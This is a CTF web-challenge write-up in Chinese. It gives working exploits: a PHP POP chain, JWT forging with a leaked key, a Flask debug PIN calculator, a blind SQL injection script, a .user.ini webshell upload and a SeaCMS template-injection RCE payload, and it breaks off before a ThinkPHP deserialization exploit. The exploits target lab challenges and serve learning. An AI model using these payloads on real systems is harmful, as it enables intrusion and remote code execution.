基本信息

队伍名:啦啦啦啦

队伍成员:

LSE(2023级)

HBQ(2023级)

ZWK(2023级)

WEB

Sign_in

解题:LSE
F12打开源码搜索100000会发现base64编码直接解码就是flag

或者直接使用控制台来调用js函数

PermissionDenied

解题人:LSE
这题一打开就是文件上传,我们直接自己写一个html的文件上传文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<html>
<head>
<meta charset="utf-8">
<title>文件上传</title>
</head>
<body>

<form action="http://node5.anna.nssctf.cn:28191/" method="post" enctype="multipart/form-data">
<label for="file">文件名:</label>
<input type="file" name="file" id="file"><br>
<input type="submit" name="submit" value="提交">
</form>

</body>
</html>

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php

function blacklist($file){
$deny_ext = array("php","php5","php4","php3","php2","php1","html","htm","phtml","pht","pHp","pHp5","pHp4","pHp3","pHp2","pHp1","Html","Htm","pHtml","jsp","jspa","jspx","jsw","jsv","jspf","jtml","jSp","jSpx","jSpa","jSw","jSv","jSpf","jHtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","aSp","aSpx","aSa","aSax","aScx","aShx","aSmx","cEr","sWf","swf","ini");
$ext = pathinfo($file, PATHINFO_EXTENSION);
foreach ($deny_ext as $value) {
if (stristr($ext, $value)){
return false;
}
}
return true;
}

if(isset($_FILES['file'])){
$filename = urldecode($_FILES['file']['name']);
$filecontent = file_get_contents($_FILES['file']['tmp_name']);
if(blacklist($filename)){
file_put_contents($filename, $filecontent);
echo "Success!!!";
} else {
echo "Hacker!!!";
}
} else{
highlight_file(__FILE__);
}

我们查看源码可以看到我们发送的文件,后端并没有将结尾的一些特殊字符进行截取,这就导致了我们可以尝试一些添加后缀的方法进行绕过,我这里使用的是/.来进行绕过(建议使用url编码)

我们用蚁剑连接,打开终端发现无法进行命令执行

打开phpinfo会发现很多禁用方法
我们使用插件绕过


这时我们仍然无法进行查看flag,我们可以尝试提权,我们查找具有suid权限的文件
1
find / -perm -u=s -type f 2>/dev/null


会发现一个每见过的,我们直接尝试运行会发现直接弹出了flag
我个人认为这道题目的目的是为了让我学习提权,但学长怕难度太高于是就整了这么一出

ezzz_unserialize

解题人:LSE

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
class Sakura{
public $apple;
public $strawberry;
public function __construct($a){
$this -> apple = $a;
}
function __destruct()
{
echo $this -> apple;
}
public function __toString()
{
$new = $this -> strawberry;
return $new();
}

}

class NoNo {
private $peach;

public function __construct($string) {
$this -> peach = $string;
}

public function __get($name) {
$var = $this -> $name;
$var[$name]();
}
}

class BasaraKing{
public $orange;
public $cherry;
public $arg1;
public function __call($arg1,$arg2){
$function = $this -> orange;
return $function();
}
public function __get($arg1)
{
$this -> cherry -> ll2('b2');
}

}

class UkyoTachibana{
public $banana;
public $mangosteen;

public function __toString()
{
$long = @$this -> banana -> add();
return $long;
}
public function __set($arg1,$arg2)
{
if($this -> mangosteen -> tt2)
{
echo "Sakura was the best!!!";
}
}
}

class E{
public $e;
public function __get($arg1){
array_walk($this, function ($Monday, $Tuesday) {
$Wednesday = new $Tuesday($Monday);
foreach($Wednesday as $Thursday){
echo ($Thursday.'<br>');
}
});
}
}

class UesugiErii{
protected $coconut;

protected function addMe() {
return "My time with Sakura was my happiest time".$this -> coconut;
}

public function __call($func, $args) {
call_user_func([$this, $func."Me"], $args);
}
}
class Heraclqs{
public $grape;
public $blueberry;
public function __invoke(){
if(md5(md5($this -> blueberry)) == 123) {
return $this -> grape -> hey;
}
}
}

class MaiSakatoku{
public $Carambola;
private $Kiwifruit;

public function __set($name, $value)
{
$this -> $name = $value;
if ($this -> Kiwifruit = "Sakura"){
strtolower($this-> Carambola);
}
}
}

if(isset($_POST['GHCTF'])) {
unserialize($_POST['GHCTF']);
} else {
highlight_file(__FILE__);
}

这题因为我找不到原生类,一开始可是折磨死我了。这题我们看到没有后门函数所以我们需要使用php原生类来进行命令执行,我们先寻找链尾巴,发现链尾大概率为
1
2
3
4
5
6
7
8
9
10
11
class E{
public $e;
public function __get($arg1){
array_walk($this, function ($Monday, $Tuesday) {
$Wednesday = new $Tuesday($Monday);
foreach($Wednesday as $Thursday){
echo ($Thursday.'<br>');
}
});
}
}

因为最后一句echo ($Thursday.'<br>')会触发原生类。我们来分析运行这个方法。
array_walk($this, function ($Monday, $Tuesday)这个方法是将我们的属性的变量名和内容分别传到 $Tuesday和$Monday,之后再创建一个新的实例对象。 $Tuesday($Monday)
我们这时候就可以控制$Tuesday和$Monday的值将$Tuesday($Monday)变为DirectoryIterator(/)就可以查看其目录的内容了。我这里直接贴一篇学长的原生类文章吧。原生类

既然找的了链尾巴我们就继续反回去找,仔细查看会发现整条链为

1
Sakura{__destruct}->Sakura{__toString}->Heraclqs{__invoke()}->E{__get($arg1)}

这就是整条利用链了注意在Heraclqs我们需要绕过md5值我这里脚本找不到了,在网上随便搜也能搜到我就不贴了
下面是exp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
class Sakura{
public $apple;
public $strawberry;
public function __construct($a){
$this -> apple = $a;
}
function __destruct()
{
echo $this -> apple;
}
public function __toString()
{
$new = $this -> strawberry;
return $new();
}

}



class E{
public $e=0;
public $DirectoryIterator='/';
public function __get($arg1){
array_walk($this, function ($Monday, $Tuesday) {
$Wednesday = new $Tuesday($Monday);
foreach($Wednesday as $Thursday){
echo ($Thursday.'<br>');
}
});
}
}

class Heraclqs{
public $grape;
public $blueberry="sr22kaDugamdwTPhG5zU";双重md加密后开头为123
public function __invoke(){
if(md5(md5($this -> blueberry)) == 123) {
return $this -> grape -> hey;
}
}
}

$a= new Sakura();
$a->$apple=new Sakura();
$a->$apple->$strawberry=new Heraclqs;
$a->$apple->$strawberry->$grape=new E;
$a->$apple->$grape=new E();
echo urlencode(unserialize($a))

应该差不多就是这样因为我的exp没有找到只找到了之前bp上发送的payload所有上面的exp可能会的点小问题,但是大体思路就是这样。
1
$a='O:6:"Sakura":2:{s:5:"apple";O:6:"Sakura":2:{s:5:"apple";N;s:10:"strawberry";O:8:"Heraclqs":2:{s:5:"grape";O:1:"E":2:{s:17:"DirectoryIterator";s:1:"/";s:1:"e";N;}s:9:"blueberry";s:20:"sr22kaDugamdwTPhG5zU";}}s:10:"strawberry";N;}';

补充:双层md5绕过的脚本
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
import multiprocessing
import hashlib
import random
import string
import sys

CHARS = string.ascii_letters + string.digits

# 双层md5碰撞
def cmp_double_md5(substr, stop_event, str_len, start=0, size=20):
global CHARS
while not stop_event.is_set():
rnds = ''.join(random.choice(CHARS) for _ in range(size))
md5_1 = hashlib.md5(rnds.encode()).hexdigest()
md5_2 = hashlib.md5(md5_1.encode()).hexdigest()
if md5_2[start: start + str_len] == substr:
print("Random String:", rnds)
print("Double MD5 Hash:", md5_2)
stop_event.set()


if __name__ == '__main__':
substr = sys.argv[1].strip()
start_pos = int(sys.argv[2]) if len(sys.argv) > 2 else 0
str_len = len(substr)
cpus = multiprocessing.cpu_count()
stop_event = multiprocessing.Event()
processes = [multiprocessing.Process(target=cmp_double_md5, args=(substr,
stop_event, str_len, start_pos))
for i in range(cpus)]
for p in processes:
p.start()
for p in processes:
p.join()


注意使用终端运行上面的代码不要把文件名写成中文。

理想国

解题人:LSE

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
{
"swagger": "2.0",
"info": {
"description": "Interface API Documentation",
"version": "1.1",
"title": "Interface API"
},
"paths": {
"/api-base/v0/register": {
"post": {
"consumes": [
"application/json"
],
"summary": "User Registration API",
"description": "Used for user registration",
"parameters": [
{
"username": "body",
"in": "body",
"required": true,
"schema": {
"$ref": "#/definitions/UserRegistration"
}
},
{
"password": "body",
"in": "body",
"required": true,
"schema": {
"$ref": "#/definitions/UserRegistration"
}
}
],
"responses": {
"200": {
"description": "success"
},
"400": {
"description": "Invalid request parameters"
},
"401": {
"description": "Your wisdom is not sufficient to be called a sage"
}
}
}
},
"/api-base/v0/login": {
"post": {
"consumes": [
"application/json"
],
"summary": "User Login API",
"description": "Used for user login",
"parameters": [
{
"username": "body",
"in": "body",
"required": true,
"schema": {
"$ref": "#/definitions/UserLogin"
}
},
{
"password": "body",
"in": "body",
"required": true,
"schema": {
"$ref": "#/definitions/UserLogin"
}
}
],
"responses": {
"200": {
"description": "success"
},
"400": {
"description": "Invalid request parameters"
}
}
}
},
"/api-base/v0/search": {
"get": {
"summary": "Information Query API",
"description": "Used to query information",
"parameters": [
{
"name": "file",
"in": "query",
"required": true,
"type": "string"
}
],
"responses": {
"200": {
"description": "success"
},
"400": {
"description": "Invalid request parameters"
},
"401": {
"description": "Unauthorized"
},
"404": {
"description": "File not found"
}
},
"security": [
{
"TokenAuth": []
}
]
}
},
"/api-base/v0/logout": {
"get": {
"summary": "Logout API",
"description": "Used for user logout",
"responses": {
"200": {
"description": "success"
},
"401": {
"description": "Unauthorized"
}
},
"security": [
{
"TokenAuth": []
}
]
}
}
},
"definitions": {
"UserRegistration": {
"type": "object",
"properties": {
"username": {
"type": "string"
},
"password": {
"type": "string"
}
}
},
"UserLogin": {
"type": "object",
"properties": {
"username": {
"type": "string"
},
"password": {
"type": "string"
}
}
}
},
"securityDefinitions": {
"TokenAuth": {
"type": "apiKey",
"name": "Authorization",
"in": "header"
}
},
"security": [
{
"TokenAuth": []
}
]
}

点开发现端口信息全都泄露了
我们先利用/api-base/v0/register和/api-base/v0/login进行注册登陆。
在打开/api-base/v0/search进行搜索文件,我们稍微尝试一下会发现存在文件包含漏洞。啊写不下去了。一直在复现,这题我就纯口述吧
我们通过文件包含app.py(我记得有个proc的文件是可以看到当前运行进程的,之前有找到过现在找不到了)来查看源码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
# coding=gbk
import json
from flask import Flask, request, jsonify, send_file, render_template_string
import jwt
import requests
from functools import wraps
from datetime import datetime
import os

app = Flask(__name__)
app.config['TEMPLATES_RELOAD'] = True
app.config['SECRET_KEY'] = os.environ.get('SECRET_KEY')
current_time = datetime.now().strftime('%Y-%m-%d %H:%M:%S')

response0 = {'code': 0, 'message': 'failed', 'result': None}
response1 = {'code': 1, 'message': 'success', 'result': current_time}
response2 = {'code': 2, 'message': 'Invalid request parameters', 'result': None}

def auth(func):
@wraps(func)
def decorated(*args, **kwargs):
token = request.cookies.get('token')
if not token:
return 'Invalid token', 401
try:
payload = jwt.decode(token, app.config['SECRET_KEY'], algorithms=['HS256'])
if payload['username'] == User.username and payload['password'] == User.password:
return func(*args, **kwargs)
else:
return 'Invalid token', 401
except:
return 'Something error?', 500
return decorated

def check(func):
@wraps(func)
def decorated(*args, **kwargs):
token = request.cookies.get('token')
if not token:
return 'Invalid token', 401
try:
payload = jwt.decode(token, app.config['SECRET_KEY'], algorithms=['HS256'])
if payload['username'] == "Plato" and payload['password'] == "ideal_state":
return func(*args, **kwargs)
else:
return 'You are not a sage. You cannot enter the ideal state.', 401
except:
return 'Something error?', 500
return decorated

@app.route('/', methods=['GET'])
def index():
return send_file('api-docs.json', mimetype='application/json;charset=utf-8')

@app.route('/enterIdealState', methods=['GET'])
@check
def getflag():
flag = os.popen("/readflag").read()
return flag

@app.route('/api-base/v0/register', methods=['GET', 'POST'])
def register():
if request.method == 'POST':
username = request.json['username']
if username == "Plato":
return 'Your wisdom is not sufficient to be called a sage.', 401
password = request.json['password']
User.setUser(username, password)
token = jwt.encode({'username': username, 'password': password}, app.config['SECRET_KEY'], algorithm='HS256')
User.setToken(token)
return jsonify(response1)
return jsonify(response2), 400

@app.route('/api-base/v0/login', methods=['GET', 'POST'])
def login():
if request.method == 'POST':
username = request.json['username']
password = request.json['password']
try:
token = User.token
payload = jwt.decode(token, app.config['SECRET_KEY'], algorithms=['HS256'])
if payload['username'] == username and payload['password'] == password:
response = jsonify(response1)
response.set_cookie('token', token)
return response
else:
return jsonify(response0), 401
except jwt.ExpiredSignatureError:
return 'Invalid token', 401
except jwt.InvalidTokenError:
return 'Invalid token', 401
return jsonify(response2), 400

@app.route('/api-base/v0/logout')
def logout():
response = jsonify({'message': 'Logout successful!'})
response.delete_cookie('token')
return response

@app.route('/api-base/v0/search', methods=['POST', 'GET'])
@auth
def api():
if request.args.get('file'):
try:
with open(request.args.get('file'), 'r') as file:
data = file.read()
return render_template_string(data)

except FileNotFoundError:
return 'File not found', 404
except jwt.ExpiredSignatureError:
return 'Invalid token', 401
except jwt.InvalidTokenError:
return 'Invalid token', 401
except Exception:
return 'something error?', 500
else:
return jsonify(response2)

class MemUser:
def setUser(self, username, password):
self.username = username
self.password = password

def setToken(self, token):
self.token = token

def __init__(self):
self.username = "admin"
self.password = "password"
self.token = jwt.encode({'username': self.username, 'password': self.password}, app.config['SECRET_KEY'], algorithm='HS256')

if __name__ == '__main__':
User = MemUser()
app.run(host='0.0.0.0', port=8080)


我们审计源码会发现其存在应该函数为getflag,需要使用/enterIdealState路由才可以,当访问这个路由是会提醒,你不是Plato,而且我们也无法注册这个账号。这时候我们需要使用flask的session伪造了。我们可以看到其session的key为环境变量那么我们就可以直接使用/proc/self/environ来进行查看环境变量。在环境变量里找到key我们就可以进行伪造了。下面是脚本
1
2
3
4
5
6
7
8
9
import jwt

username = "Plato"
password = "ideal_state"
secret_key = "B3@uTy_L1es_IN_7he_EyEs_0f_Th3_BEh0ld3r"
payload = {'username': username, 'password': password}
token = jwt.encode(payload, secret_key, algorithm='HS256')
print("Generated token:", token)


将伪造的token放在cookie里就可以查看/enterIdealState路由得到flag了

Po11uti0n~~~

解题人:LSE
我们打开靶机可以看到很明显的交换函数。看到这个交换函数我就想起了js原型链污染。所有我查了一下python原型链污染发现好多文章。python原型链污染我们可以发现这篇文章的题目和这道题目不能说很像只能说一模一样。只是这道需要题目多过滤个file由于时间问题快到交wp的时间了所有我就写的简略些。
直接贴出POC

1
{"username":1,"password":2,"\u005F\u005F\u0069\u006E\u0069\u0074\u005F\u005F":{      "\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f":{"\u005f\u005f\u0066\u0069\u006c\u0065\u005f\u005f":   "/etc/machine-id"}},"ykg6xtt2j2l":"="}

因为有waf所以都使用unicode编码绕过。这样我们只要修改file的参数就可以读取文件内容了。
而这道题目开启了debug这就导致了我们可以既然debug的后台输入pin码就可以进行命令执行
1
2
3
4
5
6
7
8
9
10
11
12
13
etc/passwd读取
root

/proc/self/cmdline 读取
/usr/local/lib/python3.10/site-packages/flask/app.py

/sys/class/net/eth0/address
02:42:ac:02:da:ab 要转成十进制
/proc/self/cgroup
1:name=systemd:/docker/e3690bcd5632d5f662f8ad2ce089634f784ee0d79d067fbca449b596e8120a9c

/proc/sys/kernel/random/boot_id
780aeba6-919e-4c3d-854f-e2e8936f5ab1e3690bcd5632d5f662f8ad2ce089634f784ee0d79d067fbca449b596e8120a9c

还好这题有做记录不然些的会烦死。
计算脚本
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
import hashlib
from itertools import chain

probably_public_bits = [
'root' # username 可通过/etc/passwd获取
'flask.app', # modname默认值
'Flask', # 默认值 getattr(app, '__name__', getattr(app.__class__, '__name__'))
'/usr/local/lib/python3.10/site-packages/flask/app.py' # 路径 可报错得到 getattr(mod, '__file__', None)
]

private_bits = [
'2485376965341', # /sys/class/net/eth0/address mac地址十进制
'780aeba6-919e-4c3d-854f-e2e8936f5ab1b815cf6e0ea5a8d5f48354e1c70efac306a5c97591745d4be1e29d9f07c60acd'

# 字符串合并:1./etc/machine-id(docker不用看) /proc/sys/kernel/random/boot_id,有boot-id那就拼接boot-id 2. /proc/self/cgroup
]

# 下面为源码里面抄的,不需要修改
h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')

cookie_name = '__wzd' + h.hexdigest()[:20]

num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv = None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num

print(rv)

从sql到rce签到

解题人:LSE
打开靶机我们先用dirseach扫一下后台我们会发现admin这个路由
我们点卡admin路由会发现是个登陆页面。我们尝试几个弱密码会发现为test/test
登陆进去为一个后台页面,我们在网上搜索CMS的sql注入的发现这一篇文章S_cms的sql注入
看来文章发现其成因为作者忘记对数组的输入形式进行过滤导致了sql注入漏洞。

跟着文章我们能找到下面这句sql语句

1
2
3
if (splitx($x, "_", 0) == "hide") {
mysqli_query($conn, "update " . TABLE . "menu set U_hide=" . $_POST[$x][0] . " where U_id=" . splitx($x, "_", 1));
}

可以发现其注入点位为POST[$X][]$x我们可以根据这句if (splitx($x, "_", 0) == "hide")发现为hide_xxxx根据变量名我们基本可以锁定为两个隐藏按钮,我们一个一个进行尝试



尝试后会发现注入点位于菜单列表的隐藏按钮中。简单尝试一下发现只能继续时间盲注。我们直接使用盲注脚本进行注入,由于没有过滤找到注入点就可以轻松的注出数据库的内容了
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
import requests
import time

cookies={"authx":"","userx":"","passx":"","count_all":"0","user":"test","pass":"d79883b3b84f946ade345c8b8e4c6f75","A_type":"0","auth":"0%7C0%7C0%7C0%7C0%7C0%7C0%7C1%7C0%7C0%7C0%7C0%7C0","__51vcke__JdquY3gNURaKiAFU":"d944ee39-93c6-5039-8275-52e76e2ef701","__51vuft__JdquY3gNURaKiAFU":"1709351593670","CmsCode":"ajov","PHPSESSID":"a51d92610a0bb5c1a201d76e96d9904b","__vtins__JdquY3gNURaKiAFU":"%7B%22sid%22%3A%20%22844d5f30-dc94-5dc2-b18c-702fa7ab3c38%22%2C%20%22vd%22%3A%201%2C%20%22stt%22%3A%200%2C%20%22dr%22%3A%200%2C%20%22expires%22%3A%201709438139545%2C%20%22ct%22%3A%201709436339545%7D","__51uvsct__JdquY3gNURaKiAFU":"8"}
url = "http://node5.anna.nssctf.cn:28149/admin/ajax.php?action=save&type=menu&lang=0"
payload = {"hide_41[]":""}#这个变量是url解码后的。不解码也可以
flag = ""
for i in range(1, 150):
low = 32
high = 128
mid = (low + high) >> 1
while low < high:
payload["hide_41[]"] = "1 and if(ascii(substr((select group_concat(A_login) from SL_admin),%d,1))>%d,sleep(4),0)" % (i, mid)
start_time = time.time()
r = requests.post(url, data=payload,cookies=cookies)
end_time = time.time()
if end_time - start_time > 3:
low = mid + 1
else:
high = mid
mid = (low + high) // 2
if (mid == 32 or mid == 127):
break
flag += chr(mid)
print(flag)

print(flag)

只要修改一下注入语句就可以一键注入了
注意由于这题是在后台注入的,使用我们注入是需要带上cookie,不然无法登陆自然也无法注入了
当我们注入出账号密码直接登陆到后台

会发现我们可以修改上传的文件后缀,虽然无法上传php文件但是我们可以上传ini文件上传的ini文件内容为
1
auto_prepend_file=muma.jpg

在将一句话木马改成muma.jpg文件就可以上传成功了。之后使用蚁剑练接index.php就可以了

ssti送分

解题人:LSE

我们打开靶机发现叫海洋影视那么我们可以尝试搜索海洋cms的ssti注入,会发现好的关于这个注入的文章,我这里直接贴一篇我给个人认为讲的比较详细的文章,seacms的ssti
我们看文章会发现这个漏洞的主要部分是模板的嵌套导致的语句拼接,导致其造成RCE,由于改了源码我们无法直接使用网上的poc
下面是修改的部分

我们可以看到其变量顺序与网上的不同使用我们修改poc的第一部分就是讲模板变量嵌套的顺序进行修改。

上面的语句导致了其只会提取前20个字符所有我们不仅要修改变量嵌套的顺序还要修改拼接的语句
我就直接丢出poc进行讲解吧

1
searchtype=5&searchword={if{searchpage:area}&area=:e{searchpage:lang}}&yuyan=val({searchpage:ver}&ver=j{searchpage:letter}&letter=oin{searchpage:jq}&jq=($_{searchpage:year}&year=POST[9]))&9[]=sys&9[]=tem('tac /f1111111111111ag');

先是searchtype=5进入高级搜索可以进行模板嵌套,由于变量顺序的修改所有嵌套的顺序变为searchword->area->yuyan->ver->letter->jq->year
每次嵌套的语句变化为
1
{if{searchpage:area}->{if:e{searchpage:lang}}->{if:eval({searchpage:ver}}->{if:eval(j{searchpage:letter}}->{if:eval(join{searchpage:jq}}->{if:eval(join($_{searchpage:year}}->{if:eval(join($_POST[9]))}

最终会拼接为{if:eval(join($_POST[9]))}这不就是一句话木马嘛我们可以利用POST进行命令执行
注意每个变量的字符数最多为20

CMS直接拿下

解题人:LSE

我们可以发现其为thinkphp的6.03版本

我们上网查一下会发现其存在反序列漏洞,但是这个漏洞的前提是开发者错误的添加了应该反序列入口且反序列化的内容可控。
这道题目我们先进行信息收集扫描一下目录

会发现两个比较重要的路由,分别时admin/login和www.zip(这就是泄露的源码了)
我们先访问www.zip下载源码,打开源码就是代码审计了

我们先在项目中搜索unserialize会发现api.php中存在我们点开代码进行审查。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
class Api{
public function login(Request $request)
{
$post = $request->post();

try{
validate(User::class)->check($post);
}
catch (ValidateException $e) {
return json(["msg"=>"账号或密码错误!","code"=>200,"url"=>""]);
}
$data = AdminUser::where('username',$post['username'])->findOrEmpty();

if(!$data->isEmpty() && $data['password'] === $post['password']){
$userinfo = [
"id"=>$data['id'],
"username"=>$data['username'],
"password"=>$data['password'],
];
Session::set('userinfo',$userinfo);
return json(["msg"=>"登陆成功!","code"=>200,"url"=>"/admin/index"]);
}
else{
return json(["msg"=>"账号或密码错误!","code"=>404,"url"=>"/admin/login"]);
}
}
public function list(Request $request)
{
$userinfo = Session::get('userinfo');
if(is_null($userinfo)){
return redirect('/admin/login');
}
else {
$db = new Datas;
$page = $request->get('page',1);
$limit = $request->get('limit',10);
$where = [];
$datas = $db->where($where)->field('serialize')->page($page,$limit)->select();
$count = $db->where($where)->count();

$lists = [];
foreach ($datas as $data){
$data = unserialize($data['serialize']);
$lists[] = [
"id" => $data->id,
"name" => $data->name,
"score1" => $data->score1,
"score2" => $data->score2,
"score3" => $data->score3,
"average" => $data->average];
}
return json(["code"=>0, "data"=>$lists, "count"=>$count, "msg"=>"获取成功", ]);
}
}
public function update(Request $request)
{
$userinfo = Session::get('userinfo');
if(is_null($userinfo)){
return redirect('/admin/login');
}
else{
$data = $request->post('data');
// if(preg_match("/include|include_once|require|require_once|highlight_file|fopen|readfile|fread|fgetss|fgets|parse_ini_file|show_source|flag|move_uploaded_file|file_put_contents|unlink|eval|assert|preg_replace|call_user_func|call_user_func_array|array_map|usort|uasort|uksort|array_filter|array_reduce|array_diff_uassoc|array_diff_ukey|array_udiff|array_udiff_assoc|array_udiff_uassoc|array_intersect_assoc|array_intersect_uassoc|array_uintersect|array_uintersect_assoc|array_uintersect_uassoc|array_walk|array_walk_recursive|xml_set_character_data_handler|xml_set_default_handler|xml_set_element_handler|xml_set_end_namespace_decl_handler|xml_set_external_entity_ref_handler|xml_set_notation_decl_handler|xml_set_processing_instruction_handler|xml_set_start_namespace_decl_handler|xml_set_unparsed_entity_decl_handler|stream_filter_register|set_error_handler|register_shutdown_function|register_tick_function|system|exec|shell_exec|passthru|pcntl_exec|popen|proc_open/i",$data)){
// return json(["code"=>404,"msg"=>"你想干嘛!!!"]);
// }
// 随便吧,无所谓了,不想再编程下去了
$db = new Datas;
$result = $db->save(['serialize'=>$data]);

return json(["code"=>200,"msg"=>"修改成功"]);
}
}

// 不想再编程下去了,直接丢一个序列化的接口,省事
public function seria(Request $request)
{
$userinfo = Session::get('userinfo');
if(is_null($userinfo)){
return redirect('/admin/login');
}
else{
$seria = serialize(new Student(
$request->post('id',2),
$request->post('name','李四'),
$request->post('score1',91),
$request->post('score2',92),
$request->post('score3',93)
));
return json(["code"=>200, "data"=>$seria, "msg"=>"获取成功"]);
}
}
public function users()
{
$db = new AdminUser;
$datas = $db->select();
return json(["code"=>0, "data"=>$datas, "msg"=>"获取成功", ]);
}
}

我们一步步分析会发现list函数存在unserialize的入口。下面我们来分析一下list函数
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
public function list(Request $request)
{
$userinfo = Session::get('userinfo');
if(is_null($userinfo)){
return redirect('/admin/login');
}
else {
$db = new Datas;
$page = $request->get('page',1);
$limit = $request->get('limit',10);
$where = [];
$datas = $db->where($where)->field('serialize')->page($page,$limit)->select();
$count = $db->where($where)->count();

$lists = [];
foreach ($datas as $data){
$data = unserialize($data['serialize']);
$lists[] = [
"id" => $data->id,
"name" => $data->name,
"score1" => $data->score1,
"score2" => $data->score2,
"score3" => $data->score3,
"average" => $data->average];
}
return json(["code"=>0, "data"=>$lists, "count"=>$count, "msg"=>"获取成功", ]);
}
}

会发现其利用了is_null($userinfo)来检测登陆状态(怎么登陆后面再说),检测通过后就可以进入道反序列的代码了。
1
2
3
4
5
$db = new Datas;
$datas = $db->where($where)->field('serialize')->page($page,$limit)->select();
foreach ($datas as $data){
$data = unserialize($data['serialize']);
}

上面是关键的几句代码。我们可以看到先键Datas对象实例化成db,再从db中查询具serialize的数据并赋值个$datas,datas变量有经过循环赋值给data再对$data['serialize']进行反序列化。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
public function update(Request $request)
{
$userinfo = Session::get('userinfo');
if(is_null($userinfo)){
return redirect('/admin/login');
}
else{
$data = $request->post('data');
// if(preg_match("/include|include_once|require|require_once|highlight_file|fopen|readfile|fread|fgetss|fgets|parse_ini_file|show_source|flag|move_uploaded_file|file_put_contents|unlink|eval|assert|preg_replace|call_user_func|call_user_func_array|array_map|usort|uasort|uksort|array_filter|array_reduce|array_diff_uassoc|array_diff_ukey|array_udiff|array_udiff_assoc|array_udiff_uassoc|array_intersect_assoc|array_intersect_uassoc|array_uintersect|array_uintersect_assoc|array_uintersect_uassoc|array_walk|array_walk_recursive|xml_set_character_data_handler|xml_set_default_handler|xml_set_element_handler|xml_set_end_namespace_decl_handler|xml_set_external_entity_ref_handler|xml_set_notation_decl_handler|xml_set_processing_instruction_handler|xml_set_start_namespace_decl_handler|xml_set_unparsed_entity_decl_handler|stream_filter_register|set_error_handler|register_shutdown_function|register_tick_function|system|exec|shell_exec|passthru|pcntl_exec|popen|proc_open/i",$data)){
// return json(["code"=>404,"msg"=>"你想干嘛!!!"]);
// }
// 随便吧,无所谓了,不想再编程下去了
$db = new Datas;
$result = $db->save(['serialize'=>$data]);

return json(["code"=>200,"msg"=>"修改成功"]);
}
}

我们再进行代码审计。会发现在update方法中存在上传$request->post('data');数据至db,且db也是Datas对象的实例。
那么这个我们就可以通过触发update方法上传网上利用的poc至Datas,再触发list方法就可以成功进行反序列化了。
那么我们就发现了这个反序列的利用入口。就只差最后一步了,就是如何绕过登陆。
我们再进行代码审计,会发现其存在应该方法为Users
1
2
3
4
5
6
public function users()
{
$db = new AdminUser;
$datas = $db->select();
return json(["code"=>0, "data"=>$datas, "msg"=>"获取成功", ]);
}

我们会发现他会在屏幕回显adminUser的信息。
还有最后一个问题我们应该怎么触发这些方法呢?这时候我们就需要查看开发者手册了。

这里讲了当我们需要访问应该对象的方法时我们可以直接使用url/对象名/方法名来进行调用。
上面就是代审的所有内容了,相信我写的这么详细聪明的你看到这里肯定是恍然大吧(嘿嘿)。
我们输入
1
http://node4.anna.nssctf.cn:28065/api/users


回显了账号密码我们直接登陆
之后就可以使用api/update还有api/list两个路由进行反序列化了。下面是反序列化的exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
<?php
